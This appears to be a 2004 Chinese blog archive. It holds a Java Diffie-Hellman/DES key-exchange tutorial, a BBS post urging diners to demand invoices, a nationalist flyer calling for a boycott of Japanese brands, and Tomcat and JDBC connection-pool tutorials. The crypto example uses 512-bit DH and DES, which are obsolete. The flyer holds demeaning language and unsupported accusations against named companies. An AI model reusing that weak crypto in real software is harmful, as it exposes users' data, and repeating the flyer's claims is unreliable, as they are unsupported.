    KeyPair bobKpair = bobKpairGen.generateKeyPair();

 



bob根据alice的公钥生成本地的DES密钥

   KeyAgreement bobKeyAgree = KeyAgreement.getInstance(“DH”);
    bobKeyAgree.init(bobKpair.getPrivate());
    bobKeyAgree.doPhase(alicePubKey, true);
    SecretKey bobDesKey = bobKeyAgree.generateSecret(“DES”);

 



bob已经生成了他的DES密钥,他现把他的公钥发给alice,

      byte[] bobPubKeyEnc = bobKpair.getPublic().getEncoded();

 



alice根据bob的公钥生成本地的DES密钥

       ,,,,,,解码
    KeyAgreement aliceKeyAgree = KeyAgreement.getInstance(“DH”);
    aliceKeyAgree.init(aliceKpair.getPrivate());
    aliceKeyAgree.doPhase(bobPubKey, true);
    SecretKey aliceDesKey = aliceKeyAgree.generateSecret(“DES”);

 



bob和alice能过这个过程就生成了相同的DES密钥,在这种基础就可进行安全能信

常用API

java.security.KeyPairGenerator 密钥生成器类
public static KeyPairGenerator getInstance(String algorithm)
throws NoSuchAlgorithmException
以指定的算法返回一个KeyPairGenerator 对象
参数: algorithm 算法名.如:原来是DSA,现在添加了 DiffieHellman(DH)

public void initialize(int keysize)
以指定的长度初始化KeyPairGenerator对象,如果没有初始化系统以1024长度默认设置
参数:keysize 算法位长.其范围必须在 512 到 1024 之间,且必须为 64 的倍数
注意:如果用1024生长的时间很长,最好生成一次后就保存,下次就不用生成了

public void initialize(AlgorithmParameterSpec params)
throws InvalidAlgorithmParameterException
以指定参数初始化

javax.crypto.interfaces.DHPublicKey
public DHParameterSpec getParams()
返回
java.security.KeyFactory

public static KeyFactory getInstance(String algorithm)
throws NoSuchAlgorithmException
以指定的算法返回一个KeyFactory
参数: algorithm 算法名:DSH,DH

public final PublicKey generatePublic(KeySpec keySpec)
throws InvalidKeySpecException
根据指定的key说明,返回一个PublicKey对象

java.security.spec.X509EncodedKeySpec
public X509EncodedKeySpec(byte[] encodedKey)
根据指定的二进制编码的字串生成一个key的说明
参数:encodedKey 二进制编码的字串(一般能过PublicKey.getEncoded()生成)
javax.crypto.KeyAgreement 密码一至类

public static final KeyAgreement getInstance(java.lang.String algorithm)
throws java.security.NoSuchAlgorithmException
返回一个指定算法的KeyAgreement对象
参数:algorithm 算法名,现在只能是DiffieHellman(DH)

public final void init(java.security.Key key)
throws java.security.InvalidKeyException
用指定的私钥初始化
参数:key 一个私钥

public final java.security.Key doPhase(java.security.Key key,
boolean lastPhase)
throws java.security.InvalidKeyException,
java.lang.IllegalStateException
用指定的公钥进行定位,lastPhase确定这是否是最后一个公钥,对于两个用户的
情况下就可以多次定次,最后确定
参数:key 公钥
lastPhase 是否最后公钥

public final SecretKey generateSecret(java.lang.String algorithm)
throws java.lang.IllegalStateException,
java.security.NoSuchAlgorithmException,
java.security.InvalidKeyException
根据指定的算法生成密钥
参数:algorithm 加密算法(可用 DES,DESede,Blowfish)

*/
import java.io.*;
import java.math.BigInteger;
import java.security.*;
import java.security.spec.*;
import java.security.interfaces.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.crypto.interfaces.*;
import com.sun.crypto.provider.SunJCE;

public class testDHKey {


    public static void main(String argv[]) {
    try {
        testDHKey my= new testDHKey();
        my.run();
    } catch (Exception e) {
        System.err.println(e);

    }
    }

    private void run() throws Exception {
        Security.addProvider(new com.sun.crypto.provider.SunJCE());

    System.out.println(“ALICE: 产生 DH 对 …”);
    KeyPairGenerator aliceKpairGen = KeyPairGenerator.getInstance(“DH”);
        aliceKpairGen.initialize(512);
    KeyPair aliceKpair = aliceKpairGen.generateKeyPair(); //生成时间长

        // 张三(Alice)生成公共密钥 alicePubKeyEnc 并发送给李四(Bob) ,
        //比如用文件方式,socket…..
    byte[] alicePubKeyEnc = aliceKpair.getPublic().getEncoded();

       //bob接收到alice的编码后的公钥,将其解码
    KeyFactory bobKeyFac = KeyFactory.getInstance(“DH”);
    X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec  (alicePubKeyEnc);
    PublicKey alicePubKey = bobKeyFac.generatePublic(x509KeySpec);
        System.out.println(“alice公钥bob解码成功”);
     // bob必须用相同的参数初始化的他的DH KEY对,所以要从Alice发给他的公开密钥,
         //中读出参数,再用这个参数初始化他的 DH key对

         //从alicePubKye中取alice初始化时用的参数
    DHParameterSpec dhParamSpec = ((DHPublicKey)alicePubKey).getParams();
    KeyPairGenerator bobKpairGen = KeyPairGenerator.getInstance(“DH”);
    bobKpairGen.initialize(dhParamSpec);
    KeyPair bobKpair = bobKpairGen.generateKeyPair();
        System.out.println(“BOB: 生成 DH key 对成功”);
    KeyAgreement bobKeyAgree = KeyAgreement.getInstance(“DH”);
    bobKeyAgree.init(bobKpair.getPrivate());
        System.out.println(“BOB: 初始化本地key成功”);
        //李四(bob) 生成本地的密钥 bobDesKey
    bobKeyAgree.doPhase(alicePubKey, true);
    SecretKey bobDesKey = bobKeyAgree.generateSecret(“DES”);
    System.out.println(“BOB: 用alice的公钥定位本地key,生成本地DES密钥成功”);
        // Bob生成公共密钥 bobPubKeyEnc 并发送给Alice,
        //比如用文件方式,socket…..,使其生成本地密钥
    byte[] bobPubKeyEnc = bobKpair.getPublic().getEncoded();
        System.out.println(“BOB向ALICE发送公钥”);

         // alice接收到 bobPubKeyEnc后生成bobPubKey
         // 再进行定位,使aliceKeyAgree定位在bobPubKey
    KeyFactory aliceKeyFac = KeyFactory.getInstance(“DH”);
    x509KeySpec = new X509EncodedKeySpec(bobPubKeyEnc);
    PublicKey bobPubKey = aliceKeyFac.generatePublic(x509KeySpec);
       System.out.println(“ALICE接收BOB公钥并解码成功”);
;
    KeyAgreement aliceKeyAgree = KeyAgreement.getInstance(“DH”);
    aliceKeyAgree.init(aliceKpair.getPrivate());
        System.out.println(“ALICE: 初始化本地key成功”);

    aliceKeyAgree.doPhase(bobPubKey, true);
        // 张三(alice) 生成本地的密钥 aliceDesKey
    SecretKey aliceDesKey = aliceKeyAgree.generateSecret(“DES”);
        System.out.println(“ALICE: 用bob的公钥定位本地key,并生成本地DES密钥”);

        if (aliceDesKey.equals(bobDesKey)) System.out.println(“张三和李四的密钥相同”);
       //现在张三和李四的本地的deskey是相同的所以,完全可以进行发送加密,接收后解密,达到
       //安全通道的的目的

        /*
         * bob用bobDesKey密钥加密信息
         */
    Cipher bobCipher = Cipher.getInstance(“DES”);
    bobCipher.init(Cipher.ENCRYPT_MODE, bobDesKey);
        String bobinfo= ”这是李四的机密信息”;
        System.out.println(“李四加密前原文:”+bobinfo);
    byte[] cleartext =bobinfo.getBytes();
    byte[] ciphertext = bobCipher.doFinal(cleartext);

        /*
         * alice用aliceDesKey密钥解密
         */
    Cipher aliceCipher = Cipher.getInstance(“DES”);
    aliceCipher.init(Cipher.DECRYPT_MODE, aliceDesKey);
    byte[] recovered = aliceCipher.doFinal(ciphertext);
        System.out.println(“alice解密bob的信息:”+(new String(recovered)));
    if (!java.util.Arrays.equals(cleartext, recovered))
        throw new Exception(“解密后与原文信息不同”);
    System.out.println(“解密后相同”);

    }

}

 



第3章小结
在加密术中生成密钥对时,密钥对的当然是越长越好,但费时也越多,请从中从实际出发选取合适的长度,大部分例码中的密钥是每次运行就从新生成,在实际的情况中是生成后在一段时间保存在文件中,再次运行直接从文件中读入,从而加快速度。当然定时更新和加强密钥保管的安全性也是必须的


 

2004年08月14日

标  题: 去麦当劳、肯德基吃饭一定要发票(一定要顶)
发信站: 一塌糊涂 BBS (Thu Aug 12 16:47:45 2004), 本站(ytht.net)

business.sohu.com 2004年8月9日09:00 来源:[ 搜狐理财社区 ]
去麦当劳、肯德基吃饭一定要记得要发票,麦当劳、肯德基每年在中国因为我们都不习惯要发票的原因而掠走将近20亿元的税收。
一个月前我在麦当劳的经历。店里人不少,我付了款索要发票,值班经理拿出一个本子要我签名,说是由于现在使用刮奖发票,所以店里规定要发票的客人必须签名,防止店员自己偷发票刮奖。我拒绝,没有什么规定说要发票还要签名。 局面有点僵持。排在我身后的人开始催促,一个眼镜嘟囔:想中奖也别浪费我们时间啊—我无奈,拿起笔,庄严的签下三个字:本拉登!
从不知所措的经理手中拿过发票,撕碎扔进餐盘,我说:我只是不想让美国人偷中国的税。后来我发现排我身后的几乎都要了发票,包括那个眼镜我们大多数人没有要发票的习惯。也许在餐厅,坐着叫服务员送发票来我们还不嫌麻烦。但在麦当劳、kfc、沃尔玛、家乐福等等,我们就不愿去费功夫要票了。 在当今全球化的市场中,我们无法抵制某些东西。但如果我们爱国,却可以从身边的小事做起,花费您几分钟而已。再说得大一点,我们可以来算个帐:
中国去年社会商品零售总额:7000亿; 餐饮娱乐消费:6000亿;合计13000亿,扣去农村消费、团体消费(国家买单)、大宗消费(家电等必须开票),还有约4000亿现金流动。按5的税率(餐饮娱乐税率更高),每年流失的税收为:200亿。这里面就有麦当劳、kfc、沃尔玛、家乐福等等的漏税。
如果有10个人愿意多花几分钟,我们就有20亿,足够建造航母的舰体了。
如果有20个人愿意多花几分钟,我们又多了20亿,足够航母的栖装了。
我已经习惯了要发票,这是我力所能及最简单的爱国方式。虽然这些税收很可能有部分流入某些人的腰包,但我相信这总是一种力量。
有一种地方我不要票,那种很小的小吃或杂货铺,因为很可能是下岗的开的。

2004年08月13日

爱我中华、抵制日货 
今日中午11:30–12:30,在清华园的第十食堂、万人食堂、紫荆食堂三处,同时开展了“爱我中华、抵制日货”活动。 活动主题是“爱我中华、抵制日货”,通过免费发送文化衫、传单,及横幅、展板等形式进行了多方面的宣传。活动开展得非常热烈,得到了广大同学、教工及来清华的其他学生、社会人士的大力支持。下面是现场发放传单的宣传稿:
 
爱我中华、抵制日货
 
从我开始做起! 从我家开始做起!!从我的同学朋友开始做起!!! 从我身边的各个组织开始做起!!!!让我们行动起来—-抵制日货!
 
日本政要屡次参拜靖国神社、否定二战罪行、淡化和美化侵略史、霸占我钓鱼岛,拒不赔偿中国二战受害劳工和齐齐哈尔毒气受害者、侮辱并称要遣送在东京的中国人,亚洲金融危机时日元贬值、充当促使人民币升值的急先锋,日本军舰驱赶中国保钓船只和渔船、非法扣留保钓人士,暗中支持台独、修改和平宪法、出兵伊拉克……
狼子野心、昭然若揭。
 
不仅如此,日本企业向三峡工程提供劣质钢材!东芝向大陆消费者出售劣质笔记本电脑,日航风波、丰田广告事件以及三菱汽车召回事件!SKⅡ和“立邦漆”正在毒害亿万中国人民!……
见利忘义,狗彘不如。
 
不仅如此,日本人在2000年10月朱总理访日期间无礼挑衅、2003年9月16日珠海集体买春、2004年4月23日右翼分子开车撞击我国驻日本大阪总领事馆、2004年5月8日大连施暴……
丑恶嘴脸、天人共诛。
 
与狼为邻,就不要以血饲狼!
古有伯夷叔齐不食周粟饿死首阳山!近有清华校友朱自清饿死不吃美国粮!
 
韩国汉城街头看不到日本汽车,韩国有40多个民间团体支持抵制日货,韩国女星金喜善拒绝乘坐日本车,日本正式向韩国道歉但拒绝向中国正式道歉。
 
作为普通民众,我们能做的就是汇集个人的力量来给日本以回击!如果世界各地的所有华人停止购买日货,日本每年将损失1000-1400亿美元的外汇收入!–相当于中国几十年的外汇储备!
 
我们深知,仅凭我们的力量是不够的,因此我们需要发展壮大!一直到每一个有购买能力的人都加入到我们的行列!给日本经济以重创!
作为清华人,我们更加有能力和责任来宣传抵制日货,让抵制日货成为我们有血性的 中国人的一种习惯。
 
靖康耻,犹未血。清华学子,行胜于言。
 
我们或许注定不能在战场上报国杀敌,无法体会“笑谈渴饮匈奴血,壮志饥餐胡虏肉”的痛快,那就让我们杀敌于无形,像圣雄甘地一样,用我们的执著和热情养成抵制日货的习惯,让敌人在无声无息中轰然倒塌,为先辈雪耻,为后辈解忧。
 
我们此次组织的募捐活动,所募资金将全部用于印制更多的抵制日货宣传T恤和宣传材料在更大的范围内发放,以号召更多的人加入到抵制日货的潮流中来。同胞们、同学们、大家起来,担负起天下的兴亡!我们今天是桃李芬芳,明天是社会的栋梁。我们今天是弦歌在一堂,明天要掀起民族自救的巨浪。巨浪!巨浪 !不断地增涨,快拿出力量,担负起天下的兴亡 !
 
 
行动口号:爱我中华、抵制日货!
行动目标:以清华学子的高度社会责任感,在力所能及的范围内掀起抵制日货运动的高潮;以我们的实际行动给予日本政府及右翼份子迎头痛击,维护国家和民族尊严;以我们的行动影响社会民众,教育我们的下一代,展示中华民族的团结精神。
行动宗旨:非暴力、非直接对抗性的民族自救活动
行动号召:抵制日货,从我做起!
 
请不要购买以下日本产品:
 
(1) 数码照相机和数码摄像机
富士、柯尼卡、索尼、佳能、美能达、JVC、松下、东芝、尼康、奥林巴斯
(上述公司均出资支持日本右翼修改教科书,否认南京大屠杀和侵华史实。)
推荐替代品牌: 中国联想、美国柯达、韩国三星
 
2) 汽车产品
本田_HONDA、丰田_TOYOTA、铃木_SUZUKI、日产_NISSAN、三菱_MITSUBISHI、马
自达_MAZDA、斯巴鲁_SUBARU、五十铃_ISUZU
(上述公司是日本重工业的支柱,也是日本主要武器装备制造商,是日本右翼势力的主要帮凶。)
推荐替代品牌:
经济型品牌:福莱尔、吉利、哈飞、菲亚特;中档品牌:奇瑞、中
华、 红旗、大众、现代、上海通用、福特、起亚、斯科达等;
高档品牌:
奔驰、宝马、奥迪、沃尔沃等
 
(3) 家用电器及办公器材类
JVC、索尼、松下、东芝、卡西欧_CASIO、建伍_KENWOOD、爱华_AIWA、阿尔派
_ALPINENEC、精工_SIEKO、日立_HITACHI、兄弟_BROTHER、先锋_PIONEER、
夏普_SHARP、富士通_FUJITSUTUKA、爱普生_EPSON、理光_RICHO、三洋_SANYO等
推荐替代品牌:海尔、长虹、TCL、春兰、厦新、联想、菲利浦、西门子、伊莱克斯、惠普等
 
(4) IT类(电脑及通讯产品)
东芝_TOSHIBA、NEC、SONY、松下_PANASONIC、索爱、京瓷_KYOCERA等
推荐替代品牌:联想、方正、IBM、DELL、HP、夏新、波导、TCL、康佳、
NOKIA、MOTOROLA、三星等
 
(5) 化妆品及日常洗化类
资生堂_SHISEIDO、DHCMILD、花王_KAO、狮王_LION、诗芬_SIFONE、碧柔_BIORE、多芬 _DOVE、乐而雅_LAURIER、高丝_KOSE、NATURGO等
推荐替代品牌: 很多, 略。
 
(6) 烟酒及食品等
柔和七星_MILDSEVEN、明治食品、四洲食品、麒麟啤酒、午后红茶LUCIDO、
朝日啤酒、BOSS咖啡、日清食品、日本酒、雪印食品、Suntory茶、味千拉面
推荐替代品牌: 很多, 略。
 
(7) 综合
立邦油漆_NIPPON、TOTO卫浴、富士胶卷_FUJIFILM、松本电工、爱眼眼
镜、精工眼镜、横滨轮胎、第一生命(制药)、武田药品、太田胃药、森永化工、OKI(针打)、野尻(眼镜)、伊都锦
 
起初他们追杀共产主义者,我不是共产主义者,我不说话;
接着他们追杀犹太人,我不是犹太人,我不说话;
此后他们追杀工会成员,我不是工会成员,我继续不说话;
再后来他们追杀天主教徒,我不是天主教徒,我还是不说话;
最后,他们奔我而来,再也没有人站起来为我说话了。
— 刻于美国波士顿犹太人被屠杀纪念碑
 
請傳閱給身邊的親朋好友及所有認識的人,
讓每一個中國人都能知道!!!!
一傳十, 十傳百, 有了點滴開始, 就能匯成汪洋大海!
 
PS: 浙大也在准备中,文化衫和传单已经设计好
交大作为西部老大,是否也有所响应呢

2004年05月20日

Tomcat4的数据库连接池配置







Tomcat数据库连接池的配置,及程序对连接池的JNDI查找,并提供相应测试代码。最后指出配置及应用过程中的常见问题及解决方法。
一、Tomcat简介








<A href="http://ad.cn.doubleclick.net/click%3Bh=v2|3111|3|0|%2a|t%3B8166011%3B0-0%3B0%3B6694709%3B31-1|1%3B5298484|5316380|1%3B%3B%3fhttp%3a%2f%2fhttp://www-900.ibm.com/cn/products/servers/zseries/?" target=_blank></A>&nbsp;

Tomcat是Apache Jakarta的子项目之一,是Sun公司推荐的JSP、Servlet容器。作为一款优秀的应用服务器,Tomcat提供了数据库连接池、SSL、Proxy等许多通用组件功能,其中连接池是4.0以上版本的新增功能,应用非常广泛。


二、Tomcat4的连接池

Tomcat4的开发可分为两个阶段,4.0.6是第一阶段最推荐的release版本,内置的数据库连接池为Tyrex 0.9.7.0,Tyrex由exolab.org开发,相关信息可以参见www. exolab.org。之后,Tomcat的开发者在4.0.x的基础上对Tomcat进行了重构,重构后的release版本推荐4.1.18,这时内置的连接池改为DBCP,DBCP也是由Jakarta Commons的一个子项目。


接下来,将分别以4.0.6和4.1.18为例介绍这两种连接池对Oracle8.1.7的配置。


三、对Tomcat4.0.6的Tyrex配置

为方便起见,将连接池置于ROOT下,JNDI名设为jdbc/OracleDB,数据库服务器IP为192.168.0.50,SID为oradb,操作系统Win2000,jdk1.3.1,配置步骤如下。


第一步:配置server.xml


在server.xml文件中找到







       


             
 


             
 


             
  


             
     user


             
     holen


             
  


             
  


             
     password


             
     holen


             
  


             
  


             
     driverClassName


             
     oracle.jdbc.driver.OracleDriver


             
  


             
  


             
     driverName


             
     jdbc:oracle:thin:@192.168.0.50:1521:oradb


             
  


             
 


             


说明:将ROOT的Context从注释中移出来,并定义Resource项,如下:







Resource项(即连接池的DataSource对象),有3个属性name、auth、type,name项是JNDI的名称定义,程序通过JNDI才能找到此对象,这里取名jdbc/OracleDB;auth项即连接池管理权属性,这里取值Container,申明为容器管理;type项即对象的类型,这里取值javax.sql.DataSource,申明为数据库连接池,Tyrex不但可以用作数据库连接池,还有许多别的功能,有兴趣的朋友可以打开Tyrex的jar包看看或访问www.exolab.org,在这里就不多说了。


在接下来的域内容里包含四个参数user、password、driverClassName、driverName,依次为数据库的用户名、密码、JDBC驱动和数据库地址。


用户名、密码是为访问数据库准备的,这里均取值holen。


driverClassName即数据库的JDBC驱动名称,如Oracle8.1.7的JDBC驱动包名叫classes.jar,一般位于Oracle安装目录下的ora81\jdbc\lib目录下,初始扩展名为ZIP,需要手工把classes.zip改名为classes.jar,并放到common/lib下。这里取值oracle.jdbc.driver.OracleDriver,此类由classes.jar提供。


 






       driverClassName


       oracle.jdbc.driver.OracleDriver



对于其他数据库,如MySql,其driverClassName一般为org.gjt.mm.mysql.Driver。


最后一个参数即driverName,即数据库的地址(准确点说应该叫url,4.1.18就改叫url了)






       driverName


       jdbc:oracle:thin:@192.168.0.50:1521:oradb



在这里填写里的是Oracle的访问地址,若是MySql、DB2、SqlServer或其他数据库,请填写相应的地址。


第二步:将Oracle的JDBC驱动classes12.jar拷贝到Tomcat安装目录的common/lib下,其他数据库也一样,请把其相应的JDBC驱动包置于common/lib,如MySql的JDBC驱动包mm.mysql-2.0.14.jar。


至此,配置完成,测试代码将在后面给出。


四、对Tomcat4.1.18的DBCP配置

 


配置方法与4.0.6稍有不同,以下是配置步骤


 


第一步:配置server.xml


在server.xml文件中找到







       


             


             

             
type=”javax.sql.DataSource”/>


                    


                    
 


                           
factory


                           
org.apache.commons.dbcp.BasicDataSourceFactory


                    
 


                    
 


                           
driverClassName


                           
oracle.jdbc.driver.OracleDriver


                    
 


                    
 


                           
url


                           
jdbc:oracle:thin:@192.168.0.50:1521:oradb


                    
 


                    
 


                           
username


                           
holen


                    
 


                    
 


                           
password


                           
holen


                    
 


                    
 


                           
maxActive


                           
20


                    
 


                    
 


                           
maxIdle


                           
10


                    
 


                    
 


                           
maxWait


                           
-1


                    
 


                    


             


说明:从配置文件可以看出,DBCP的配置与Tyrex类似,但功能更加丰富。相同就不多说,重点讲述不同的地方。


       factory参数:







       factory


       org.apache.commons.dbcp.BasicDataSourceFactory



即基础对象工厂,这里取值org.apache.commons.dbcp.BasicDataSourceFactory,即DBCP自带的工厂,也可以用别的。


需说明一点是,虽然4.1.18里主推DBCP作连接池,但仍然可以使用Tyrex作为连接池,而且此时的Tyrex已从0.9.7.0升级到了1.0,支持JTA/JCA对象等,对象的获取仍然是通过JNDI,具体的配置方法可以参见Tomcat文档。


url参数:







       url


jdbc:oracle:thin:@192.168.0.50:1521:oradb


url是数据库访问地址,在前提已提到。


接下来有三个参数,均为连接数相关,如下:







       maxActive


       20




       maxIdle


       10




maxWait


       -1



 


maxActive是最大激活连接数,这里取值20个,表示同时最多有20个与数据库的连接。


maxIdle是最大空闲连接数,这里取值10个,表示即使没有连接请求时,依然可以保持10空闲的连接,而不被清除,随时处于待命状态。关于对象的状态,有兴趣的朋友可以看看EJB方面的资料。


maxWait是最大等待秒钟数,这里取值-1,表示无限等待,直到超时为止,也可以取值9000,即表示9秒后超时。


关于maxActive与maxIdle的一点建议,对于企业级应用,其两者的值一般比较接近,或者相同,关键是要分析应用的大小。


第二步:配置web.xml


打开webapps/ROOT/WEB-INF下web.xml,加入如下内容:   


 







        Oracle
Datasource example


        jdbc/OracleDB


        javax.sql.DataSource


        Container


 


说明:此步可以省略,即不配置web.xml也可以使用连接池,但正式项目应用时还是建议加上。


第三步:将Oracle的JDBC驱动classes12.jar拷贝到Tomcat安装目录的common/lib下。


至此,配置完成,测试代码将在后面给出。


五、测试代码

 


下面写一个JSP文件testdb.jsp,并将testdb.jsp置于webapps/ROOT目录下,测试一下配置是否正确,此测试对以上两个版本均适合。


 


       数据库如下:


 






Create table test(id varchar2(12),name varchar2(30))


       testdb.jsp内容如下:






<%@ page contentType="text/html;charset=GBK"%>


<%@ page import= "java.sql.* "%>


<%@ page import= "javax.naming.* "%>


<%


       try{


             
Context initCtx = new InitialContext();


             
Context ctx = (Context) initCtx.lookup(“java:comp/env”);


        //获取连接池对象


             
Object obj = (Object) ctx.lookup(“jdbc/OracleDB”);   


        //类型转换


             
javax.sql.DataSource ds = (javax.sql.DataSource)obj;


             
Connection conn = ds.getConnection();


             
Statement stmt = conn.createStatement();


             
String strSql = ” insert into test(id,name) values(‘00001′,’holen’)
“;


             
stmt.executeUpdate(strSql);


             
strSql = ” select id,name from test “;


             
ResultSet rs = stmt.executeQuery(strSql);


            if(rs.next()){


                    
out.println(rs.getString(1));                


                    
out.println(rs.getString(2));


             
}


       }catch(Exception ex){


             
ex.printStackTrace();


        throw new SQLException(“cannot
get Connection pool.”);


       }


%>




说明:先通过JNDI找到jdbc/OracleDB对象,这里是分两步完成的,也可以一步完成,如

Object obj = (Object) ctx.lookup(“java:comp/env /jdbc/OracleDB”);

然后将得到的对象转换成DataSource类型,进而得到连接,得到连接后就可以进行相应的数据库操作了。


这里对数据库进行了两步操作,第一步是插入一条记录,第二步是从数据库中取出记录,并显示第一条记录的内容。


打开网页,在地址栏中输入http://localhost:8080/testdb.jsp,若一切正常,将显示“00001 holen”。


六、总结









<A href="http://ad.cn.doubleclick.net/click%3Bh=v2|3111|3|0|%2a|t%3B8166011%3B0-0%3B0%3B6694709%3B31-1|1%3B5298484|5316380|1%3B%3B%3fhttp%3a%2f%2fhttp://www-900.ibm.com/cn/products/servers/zseries/?" target=_blank><IMG height=60 src="http://m2.cn.doubleclick.net/941628/IBMz_developer_MPU_0517_tagged.swf " width=468 border=0></A>


以上配置了Tomcat4.0.6和Tomcat4.1.18的内置连接池,Tomcat4其他版本的配置方法与之类似,调用方法也一样。连接池配置主要就是修改server.xml及web.xml。


需要说明一点的是,Tomcat4.1.18有一个管理界面,通过此操作界面可以配置连接池及其他功能,不过通过这种方式配置的连接池不可用(测试时会发现程序运行很慢,原因是JNDI能找到,但不能建立连接),这是管理工具的一个BUG,已报至Tomcat BUG列表,更详细的情况可以参见tomcat-user的邮件列表。


七、参考资料







Java 的JDBC 数据库连接池实现方法










关键字: Java, JDBC, Connection Pool, Database, 数据库连接池, sourcecode


  虽然 J2EE 程序员一般都有现成的应用服务器所带的JDBC 数据库连接池,不过对于开发一般的 Java Application 、 Applet 或者 JSP、velocity 时,我们可用的JDBC 数据库连接池并不多,并且一般性能都不好。 Java 程序员都很羡慕 Windows ADO ,只需要 new Connection 就可以直接从数据库连接池中返回 Connection。并且 ADO Connection 是线程安全的,多个线程可以共用一个 Connection, 所以 ASP 程序一般都把 getConnection 放在 Global.asa 文件中,在 IIS 启动时建立数据库连接。ADO 的 Connection 和 Result 都有很好的缓冲,并且很容易使用。


其实我们可以自己写一个JDBC 数据库连接池。写 JDBC connection pool 的注意事项有:


1. 有一个简单的函数从连接池中得到一个 Connection。
2. close 函数必须将 connection 放回 数据库连接池。
3. 当数据库连接池中没有空闲的 connection, 数据库连接池必须能够自动增加 connection 个数。
4. 当数据库连接池中的 connection 个数在某一个特别的时间变得很大,但是以后很长时间只用其中一小部分,应该可以自动将多余的 connection 关闭掉。
5. 如果可能,应该提供debug 信息报告没有关闭的 new Connection 。


如果要 new Connection 就可以直接从数据库连接池中返回 Connection, 可以这样写( Mediator pattern ) (以下代码中使用了中文全角空格):


public class EasyConnection implements java.sql.Connection{
  private Connection m_delegate = null;


  public EasyConnection(){
    m_delegate = getConnectionFromPool();
  }


  public void close(){
    putConnectionBackToPool(m_delegate);
  }


  public PreparedStatement prepareStatement(String sql) throws SQLException{
    m_delegate.prepareStatement(sql);
  }


  //…… other method


}


看来并不难。不过不建议这种写法,因为应该尽量避免使用 Java Interface, 关于 Java Interface 的缺点我另外再写文章讨论。大家关注的是 Connection Pool 的实现方法。下面给出一种实现方法。


import java.sql.*;
import java.lang.reflect.*;
import java.util.*;
import java.io.*;


public class SimpleConnetionPool {
  private static LinkedList m_notUsedConnection = new LinkedList();
  private static HashSet m_usedUsedConnection = new HashSet();
  private static String m_url = “”;
  private static String m_user = “”;
  private static String m_password = “”;
  static final boolean DEBUG = true;
  static private long m_lastClearClosedConnection = System.currentTimeMillis();
  public static long CHECK_CLOSED_CONNECTION_TIME = 4 * 60 * 60 * 1000; //4 hours


  static {
    initDriver();
  }


  private SimpleConnetionPool() {
  }


  private static void initDriver() {
    Driver driver = null;
    //load mysql driver
    try {
      driver = (Driver) Class.forName(“com.mysql.jdbc.Driver”).newInstance();
      installDriver(driver);
    } catch (Exception e) {
    }


    //load postgresql driver
    try {
      driver = (Driver) Class.forName(“org.postgresql.Driver”).newInstance();
      installDriver(driver);
    } catch (Exception e) {
    }
  }


  public static void installDriver(Driver driver) {
    try {
      DriverManager.registerDriver(driver);
    } catch (Exception e) {
      e.printStackTrace();
    }
  }



  public static synchronized Connection getConnection() {
    clearClosedConnection();
    while (m_notUsedConnection.size() > 0) {
      try {
        ConnectionWrapper wrapper = (ConnectionWrapper) m_notUsedConnection.removeFirst();
        if (wrapper.connection.isClosed()) {
          continue;
        }
        m_usedUsedConnection.add(wrapper);
        if (DEBUG) {
          wrapper.debugInfo = new Throwable(“Connection initial statement”);
        }
        return wrapper.connection;
      } catch (Exception e) {
      }
    }
    int newCount = getIncreasingConnectionCount();
    LinkedList list = new LinkedList();
    ConnectionWrapper wrapper = null;
    for (int i = 0; i < newCount; i++) {
      wrapper = getNewConnection();
      if (wrapper != null) {
        list.add(wrapper);
      }
    }
    if (list.size() == 0) {
      return null;
    }
    wrapper = (ConnectionWrapper) list.removeFirst();
    m_usedUsedConnection.add(wrapper);


    m_notUsedConnection.addAll(list);
    list.clear();


    return wrapper.connection;
  }


  private static ConnectionWrapper getNewConnection() {
    try {
      Connection con = DriverManager.getConnection(m_url, m_user, m_password);
      ConnectionWrapper wrapper = new ConnectionWrapper(con);
      return wrapper;
    } catch (Exception e) {
      e.printStackTrace();
    }
    return null;
  }


  static synchronized void pushConnectionBackToPool(ConnectionWrapper con) {
    boolean exist = m_usedUsedConnection.remove(con);
    if (exist) {
      m_notUsedConnection.addLast(con);
    }
  }


  public static int close() {
    int count = 0;


    Iterator iterator = m_notUsedConnection.iterator();
    while (iterator.hasNext()) {
      try {
        ( (ConnectionWrapper) iterator.next()).close();
        count++;
      } catch (Exception e) {
      }
    }
    m_notUsedConnection.clear();


    iterator = m_usedUsedConnection.iterator();
    while (iterator.hasNext()) {
      try {
        ConnectionWrapper wrapper = (ConnectionWrapper) iterator.next();
        wrapper.close();
        if (DEBUG) {
          wrapper.debugInfo.printStackTrace();
        }
        count++;
      } catch (Exception e) {
      }
    }
    m_usedUsedConnection.clear();


    return count;
  }


  private static void clearClosedConnection() {
    long time = System.currentTimeMillis();
    //sometimes user change system time,just return
    if (time < m_lastClearClosedConnection) {
      time = m_lastClearClosedConnection;
      return;
    }
    //no need check very often
    if (time – m_lastClearClosedConnection < CHECK_CLOSED_CONNECTION_TIME) {
      return;
    }
    m_lastClearClosedConnection = time;


    //begin check
    Iterator iterator = m_notUsedConnection.iterator();
    while (iterator.hasNext()) {
      ConnectionWrapper wrapper = (ConnectionWrapper) iterator.next();
      try {
        if (wrapper.connection.isClosed()) {
          iterator.remove();
        }
      } catch (Exception e) {
        iterator.remove();
        if (DEBUG) {
          System.out.println(“connection is closed, this connection initial StackTrace”);
          wrapper.debugInfo.printStackTrace();
        }
      }
    }


    //make connection pool size smaller if too big
    int decrease = getDecreasingConnectionCount();
    if (m_notUsedConnection.size() < decrease) {
      return;
    }


    while (decrease– > 0) {
      ConnectionWrapper wrapper = (ConnectionWrapper) m_notUsedConnection.removeFirst();
      try {
        wrapper.connection.close();
      } catch (Exception e) {
      }
    }
  }


  /**
   * get increasing connection count, not just add 1 connection
   * @return count
   */
  public static int getIncreasingConnectionCount() {
    int count = 1;
    int current = getConnectionCount();
    count = current / 4;
    if (count < 1) {
      count = 1;
    }
    return count;
  }


  /**
   * get decreasing connection count, not just remove 1 connection
   * @return count
   */
  public static int getDecreasingConnectionCount() {
    int count = 0;
    int current = getConnectionCount();
    if (current < 10) {
      return 0;
    }
    return current / 3;
  }


  public synchronized static void printDebugMsg() {
    printDebugMsg(System.out);
  }


  public synchronized static void printDebugMsg(PrintStream out) {
    if (DEBUG == false) {
      return;
    }
    StringBuffer msg = new StringBuffer();
    msg.append(“debug message in ” + SimpleConnetionPool.class.getName());
    msg.append(“\r\n”);
    msg.append(“total count is connection pool: ” + getConnectionCount());
    msg.append(“\r\n”);
    msg.append(“not used connection count: ” + getNotUsedConnectionCount());
    msg.append(“\r\n”);
